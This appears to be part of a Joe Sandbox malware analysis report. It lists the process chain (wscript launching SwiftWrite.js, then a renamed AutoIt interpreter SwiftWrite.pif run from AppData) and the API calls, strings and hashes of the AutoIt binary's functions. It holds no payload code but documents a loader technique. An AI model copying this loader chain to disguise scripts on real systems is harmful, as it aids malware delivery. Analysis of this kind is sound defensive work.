Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:30:09
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:30:20
Start date:	07/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
Imagebase:	0x7ff7e48a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:30:23
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
Imagebase:	0x8a0000
File size:	893'608 bytes
MD5 hash:	C56B5F0201A3B3DE53E561FE76912BFD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	12.4%
Total number of Nodes:	1429
Total number of Limit Nodes:	30

Executed Functions

Function 00007FF6BB1237B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 145
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF6BB123785), ref: 00007FF6BB1237F2
IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF6BB123785), ref: 00007FF6BB123807
GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF6BB123785), ref: 00007FF6BB12388D

Part of subcall function 00007FF6BB123F9C: GetFullPathNameW.KERNEL32(D000000000000000,00007FF6BB1238BF,?,?,?,?,?,00007FF6BB123785), ref: 00007FF6BB123FFD

SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF6BB123785), ref: 00007FF6BB123924
MessageBoxA.USER32 ref: 00007FF6BB16B888
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF6BB123785), ref: 00007FF6BB16B8E1
GetForegroundWindow.USER32(?,?,?,?,?,00007FF6BB123785), ref: 00007FF6BB16B968
ShellExecuteW.SHELL32 ref: 00007FF6BB16B98F

Part of subcall function 00007FF6BB123B84: GetSysColorBrush.USER32 ref: 00007FF6BB123B9E
Part of subcall function 00007FF6BB123B84: LoadCursorW.USER32 ref: 00007FF6BB123BAE
Part of subcall function 00007FF6BB123B84: LoadIconW.USER32 ref: 00007FF6BB123BC3
Part of subcall function 00007FF6BB123B84: LoadIconW.USER32 ref: 00007FF6BB123BDC
Part of subcall function 00007FF6BB123B84: LoadIconW.USER32 ref: 00007FF6BB123BF5
Part of subcall function 00007FF6BB123B84: LoadImageW.USER32 ref: 00007FF6BB123C21
Part of subcall function 00007FF6BB123B84: RegisterClassExW.USER32 ref: 00007FF6BB123C85

Part of subcall function 00007FF6BB123CBC: CreateWindowExW.USER32 ref: 00007FF6BB123D0C
Part of subcall function 00007FF6BB123CBC: CreateWindowExW.USER32 ref: 00007FF6BB123D5F
Part of subcall function 00007FF6BB123CBC: ShowWindow.USER32 ref: 00007FF6BB123D75

Part of subcall function 00007FF6BB126258: Shell_NotifyIconW.SHELL32 ref: 00007FF6BB126350

Strings

runas, xrefs: 00007FF6BB16B973
This is a third-party compiled AutoIt script., xrefs: 00007FF6BB16B87F

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Load$IconWindow$CurrentDirectory$CreateFullNamePath$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell_Show
String ID: This is a third-party compiled AutoIt script.$runas
API String ID: 1593035822-3287110873
Opcode ID: c3ded298cf76d34180cf113abdbd9d12434cc4ac29103e584319df50cc10e3ad
Instruction ID: 46831c69f5a6ccd29e92ce8a3ee5c3643c514a3960baa96812b2286b4dae186a
Opcode Fuzzy Hash: c3ded298cf76d34180cf113abdbd9d12434cc4ac29103e584319df50cc10e3ad
Instruction Fuzzy Hash: C0712D61A1C68399FA209B6CE9411FA6760FF4E348F840136E74DC61BADF7DE509C710

Function 00007FF6BB126580 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE ref: 00007FF6BB12674B
FindResourceExW.KERNEL32 ref: 00007FF6BB12676B
LoadResource.KERNEL32 ref: 00007FF6BB16C985
SizeofResource.KERNEL32 ref: 00007FF6BB16C99E
LockResource.KERNEL32 ref: 00007FF6BB16C9B1

Strings

AU3!, xrefs: 00007FF6BB1265D8
SCRIPT, xrefs: 00007FF6BB12675D
EA06, xrefs: 00007FF6BB16CA59

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: AU3!$EA06$SCRIPT
API String ID: 3051347437-2925976212
Opcode ID: 91e87ae7fa82639ff37275862ca6038f9445b612ea3ecf8fcd50249447f95a60
Instruction ID: fb6050f7cb2d95e5c03d39a6b65c8064d38cd93538fc87c91cba9100e93c69d2
Opcode Fuzzy Hash: 91e87ae7fa82639ff37275862ca6038f9445b612ea3ecf8fcd50249447f95a60
Instruction Fuzzy Hash: 3C91E172B0964186EB20CB29E454ABC37A5BB4AB88F454136DF5E87BE5DF3DE444C700

Function 00007FF6BB141D80 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32 ref: 00007FF6BB141DC8
GetCurrentProcess.KERNEL32 ref: 00007FF6BB141F42
IsWow64Process.KERNEL32 ref: 00007FF6BB141F52
GetSystemInfo.KERNELBASE ref: 00007FF6BB141F8B

Strings

|O, xrefs: 00007FF6BB18954C

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Process$CurrentInfoSystemVersionWow64
String ID: |O
API String ID: 1568231622-607156228
Opcode ID: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
Instruction ID: c666c3da81f1723a498995a25c9d7c631fbbb1b8e63d63a7a84b79682d833e34
Opcode Fuzzy Hash: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
Instruction Fuzzy Hash: 34D1A121A1D2D289F6258B1CEA8217A3BA0FF1D788F484036D78DD26B1EF7DB515C741

Function 00007FF6BB1BF630 Relevance: 12.4, APIs: 8, Instructions: 350
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32 ref: 00007FF6BB1BF80A
GetSystemDirectoryW.KERNEL32 ref: 00007FF6BB1BF838
GetCurrentDirectoryW.KERNEL32 ref: 00007FF6BB1BF881
GetCurrentDirectoryW.KERNEL32 ref: 00007FF6BB1BF8AF

Part of subcall function 00007FF6BB19FAFC: GetStdHandle.KERNEL32 ref: 00007FF6BB19FB23

CreateProcessW.KERNELBASE ref: 00007FF6BB1BFA43
GetLastError.KERNEL32 ref: 00007FF6BB1BFA88
CloseHandle.KERNEL32 ref: 00007FF6BB1BFAC2

Part of subcall function 00007FF6BB19F7DC: ~SyncLockT.VCCORLIB ref: 00007FF6BB19F7E9
Part of subcall function 00007FF6BB19F7DC: ~SyncLockT.VCCORLIB ref: 00007FF6BB19F7F2

CloseHandle.KERNEL32 ref: 00007FF6BB1BFB35

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Directory$Handle$CloseCurrentLockSyncSystem$CreateErrorLastProcess
String ID:
API String ID: 1787492119-0
Opcode ID: 853095626c17b3cf2958649b2832e2098a88d265abeb03c9b668e610f1fcf91b
Instruction ID: 907e6135bedcf067e035a4ee155593d7d5920050e6a4ac8d7db3b579d9d2ecbd
Opcode Fuzzy Hash: 853095626c17b3cf2958649b2832e2098a88d265abeb03c9b668e610f1fcf91b
Instruction Fuzzy Hash: 8BE18B22B08B8186EB14DB2AD5502BE67A1FB89B8CF044536EF5D877B9DF38E445C740

Function 00007FF6BB132E30 Relevance: 6.5, APIs: 2, Strings: 1, Instructions: 1264COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF6BB17E641

Strings

Variable must be of type 'Object'., xrefs: 00007FF6BB17E92D

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Init_thread_footer
String ID: Variable must be of type 'Object'.
API String ID: 1385522511-109567571
Opcode ID: eb5ab58aa483e031231d0d2c0750e4448ce7fce129978740ca8f2f10987f0592
Instruction ID: 6967e125d237963e11f772adbce1fd1215011f0d0acf81fb9b8c3e3d2bb2cc1f
Opcode Fuzzy Hash: eb5ab58aa483e031231d0d2c0750e4448ce7fce129978740ca8f2f10987f0592
Instruction Fuzzy Hash: F5C2BE72A08A8286EB64CF19E4942B973A5FB4CB88F544132DB4E977B4DF7DE481C704

Function 00007FF6BB127920 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 178
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6BB125680: GetModuleFileNameW.KERNEL32(?,00007FF6BB127A0C,?,?,?,00007FF6BB12109E), ref: 00007FF6BB12569F

Part of subcall function 00007FF6BB143A38: GetFullPathNameW.KERNEL32(?,00007FF6BB127A1B,?,?,?,00007FF6BB12109E), ref: 00007FF6BB143A5F

RegOpenKeyExW.KERNELBASE(?,?,?,00007FF6BB12109E), ref: 00007FF6BB127A75
RegQueryValueExW.ADVAPI32(?,?,?,00007FF6BB12109E), ref: 00007FF6BB16D081
RegQueryValueExW.ADVAPI32(?,?,?,00007FF6BB12109E), ref: 00007FF6BB16D0E9
RegCloseKey.ADVAPI32(?,?,?,00007FF6BB12109E), ref: 00007FF6BB16D138
wcscat.LIBCMT ref: 00007FF6BB16D19E
wcscat.LIBCMT ref: 00007FF6BB16D1CF

Strings

Software\AutoIt v3\AutoIt, xrefs: 00007FF6BB127A64
\Include\, xrefs: 00007FF6BB127A1B
Include, xrefs: 00007FF6BB16D06F, 00007FF6BB16D0D2

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: NameQueryValuewcscat$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\Include\
API String ID: 2667193904-1575078665
Opcode ID: f46b7b8725c371db8670322b898ce33d092aa5ab775a87438ab86280a9a7a174
Instruction ID: d06db8689b9776870bfc197ca37679da0903372632a64c5e5020916f6786957e
Opcode Fuzzy Hash: f46b7b8725c371db8670322b898ce33d092aa5ab775a87438ab86280a9a7a174
Instruction Fuzzy Hash: 01913E22A18A9395EB20DF28E9401BD7364FF89788F841136EB4D87AB5DF7CE645C740

Function 00007FF6BB125DEC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 143
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32 ref: 00007FF6BB125E76
KillTimer.USER32 ref: 00007FF6BB125EB1
SetTimer.USER32 ref: 00007FF6BB125ED9
RegisterWindowMessageW.USER32 ref: 00007FF6BB125EE6
CreatePopupMenu.USER32 ref: 00007FF6BB125EFC
PostQuitMessage.USER32 ref: 00007FF6BB125F23

Strings

TaskbarCreated, xrefs: 00007FF6BB125EDF

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 1235ebd7e81448e07564660c9660bef83c799ad38fc0a315f2003c32225d847e
Instruction ID: 4616a717ff69da04bada27aae736e2f4be2a3a716750ca0f837ca7f1409f206a
Opcode Fuzzy Hash: 1235ebd7e81448e07564660c9660bef83c799ad38fc0a315f2003c32225d847e
Instruction Fuzzy Hash: 6A519131D1C66785F6249B2DF98527AA660FF4EB88F480435DB4EC26B6DE7DF5058300

Function 00007FF6BB123D90 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00007FF6BB123DE5
RegisterClassExW.USER32 ref: 00007FF6BB123E16
RegisterWindowMessageW.USER32 ref: 00007FF6BB123E2A
InitCommonControlsEx.COMCTL32 ref: 00007FF6BB123E48
ImageList_Create.COMCTL32 ref: 00007FF6BB123E63
LoadIconW.USER32 ref: 00007FF6BB123E7C
ImageList_ReplaceIcon.COMCTL32 ref: 00007FF6BB123E8F

Strings

TaskbarCreated, xrefs: 00007FF6BB123E1C
AutoIt v3 GUI, xrefs: 00007FF6BB123DF8

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-2659433951
Opcode ID: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
Instruction ID: 34af31342c85d59f27351df81cf7280f61748235093eedade1e810e8103133f2
Opcode Fuzzy Hash: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
Instruction Fuzzy Hash: AC311232A08B12CAE700CF65F8853AA37B4FB48759F540139DA4D96B64DF7DA159CB80

Function 00007FF6BB13E958 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 304
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM ref: 00007FF6BB13E9C3
OleUninitialize.OLE32 ref: 00007FF6BB13EABF
UnregisterHotKey.USER32(?,?,?,00007FF6BB13E939), ref: 00007FF6BB13ECD9
DestroyWindow.USER32(?,?,?,00007FF6BB13E939), ref: 00007FF6BB1827E4

Strings

close all, xrefs: 00007FF6BB13E9B7

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: DestroySendStringUninitializeUnregisterWindow
String ID: close all
API String ID: 1992507300-3243417748
Opcode ID: b8b8c68a318977a2f87807421b418c2385e3e6e785d3bf0a97c851cb2b042042
Instruction ID: 331cd933dac5297d7d07b8ca2d4498a1412482692d0e8c857624e455ba6597fe
Opcode Fuzzy Hash: b8b8c68a318977a2f87807421b418c2385e3e6e785d3bf0a97c851cb2b042042
Instruction Fuzzy Hash: 9FE12022B09A46D1EE69DF1AD56027C2360FF89B48F584035DB0E972B1DF3CE866CB54

Function 00007FF6BB123B84 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00007FF6BB123B9E
LoadCursorW.USER32 ref: 00007FF6BB123BAE
LoadIconW.USER32 ref: 00007FF6BB123BC3
LoadIconW.USER32 ref: 00007FF6BB123BDC
LoadIconW.USER32 ref: 00007FF6BB123BF5
LoadImageW.USER32 ref: 00007FF6BB123C21
RegisterClassExW.USER32 ref: 00007FF6BB123C85

Part of subcall function 00007FF6BB123D90: GetSysColorBrush.USER32 ref: 00007FF6BB123DE5
Part of subcall function 00007FF6BB123D90: RegisterClassExW.USER32 ref: 00007FF6BB123E16
Part of subcall function 00007FF6BB123D90: RegisterWindowMessageW.USER32 ref: 00007FF6BB123E2A
Part of subcall function 00007FF6BB123D90: InitCommonControlsEx.COMCTL32 ref: 00007FF6BB123E48
Part of subcall function 00007FF6BB123D90: ImageList_Create.COMCTL32 ref: 00007FF6BB123E63
Part of subcall function 00007FF6BB123D90: LoadIconW.USER32 ref: 00007FF6BB123E7C
Part of subcall function 00007FF6BB123D90: ImageList_ReplaceIcon.COMCTL32 ref: 00007FF6BB123E8F

Strings

AutoIt v3, xrefs: 00007FF6BB123C3F

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: AutoIt v3
API String ID: 423443420-1704141276
Opcode ID: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
Instruction ID: 347c9ce1deda3422df5d7fd947207b2f1875080fb6f0a2b712a31e522de76d91
Opcode Fuzzy Hash: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
Instruction Fuzzy Hash: 94310336A08B52CEE7408B95F9853AA33B4FB88759F04053ACA8D93B24DF7DD0548744

Function 00007FF6BB167348 Relevance: 13.8, APIs: 9, Instructions: 272
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6BB167078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB1670B9
Part of subcall function 00007FF6BB167078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB167136
Part of subcall function 00007FF6BB167078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB167187

CreateFileW.KERNELBASE ref: 00007FF6BB167449
CreateFileW.KERNEL32 ref: 00007FF6BB1674A5
GetLastError.KERNEL32 ref: 00007FF6BB1674D9
GetFileType.KERNELBASE ref: 00007FF6BB1674EE
GetLastError.KERNEL32 ref: 00007FF6BB1674F8
CloseHandle.KERNEL32 ref: 00007FF6BB16752B
CloseHandle.KERNEL32 ref: 00007FF6BB167684
CreateFileW.KERNEL32 ref: 00007FF6BB1676BC
GetLastError.KERNEL32 ref: 00007FF6BB1676CB

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
Instruction ID: 797afd90d46972ec7e74d1f28013a1e8addc7957818edd1e9bb1f694c411bf78
Opcode Fuzzy Hash: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
Instruction Fuzzy Hash: 66C1AE32B28A418AEB54CB68D4413AC3761FB49BACF055235DF2E9B7A9DF38E415C310

Function 00007FF6BB1325BC Relevance: 12.4, APIs: 8, Instructions: 442
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 00007FF6BB1326DA
timeGetTime.WINMM ref: 00007FF6BB1328BC
PeekMessageW.USER32 ref: 00007FF6BB1329E3
TranslateMessage.USER32 ref: 00007FF6BB132A23
DispatchMessageW.USER32 ref: 00007FF6BB132A2D
PeekMessageW.USER32 ref: 00007FF6BB132A47

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Message$Peek$DispatchInputStateTimeTranslatetime
String ID:
API String ID: 3249950245-0
Opcode ID: 9eccb3f4b5c811a536024e374ea0d15e5a811994ad6da7f8a72b18085257e0b4
Instruction ID: 640ec192a58051ab52dc9ce4f9a4fcea90b5951b3dbfc37890a104d330b16dc8
Opcode Fuzzy Hash: 9eccb3f4b5c811a536024e374ea0d15e5a811994ad6da7f8a72b18085257e0b4
Instruction Fuzzy Hash: 3A22AD72A0CA868AEB74DB29E4903B927A0FB49B4CF144136DB4E836B5DF7DE445C740

Function 00007FF6BB123CBC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32 ref: 00007FF6BB123D0C
CreateWindowExW.USER32 ref: 00007FF6BB123D5F
ShowWindow.USER32 ref: 00007FF6BB123D75

Strings

AutoIt v3, xrefs: 00007FF6BB123CC8
edit, xrefs: 00007FF6BB123D18
d, xrefs: 00007FF6BB123CF4

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
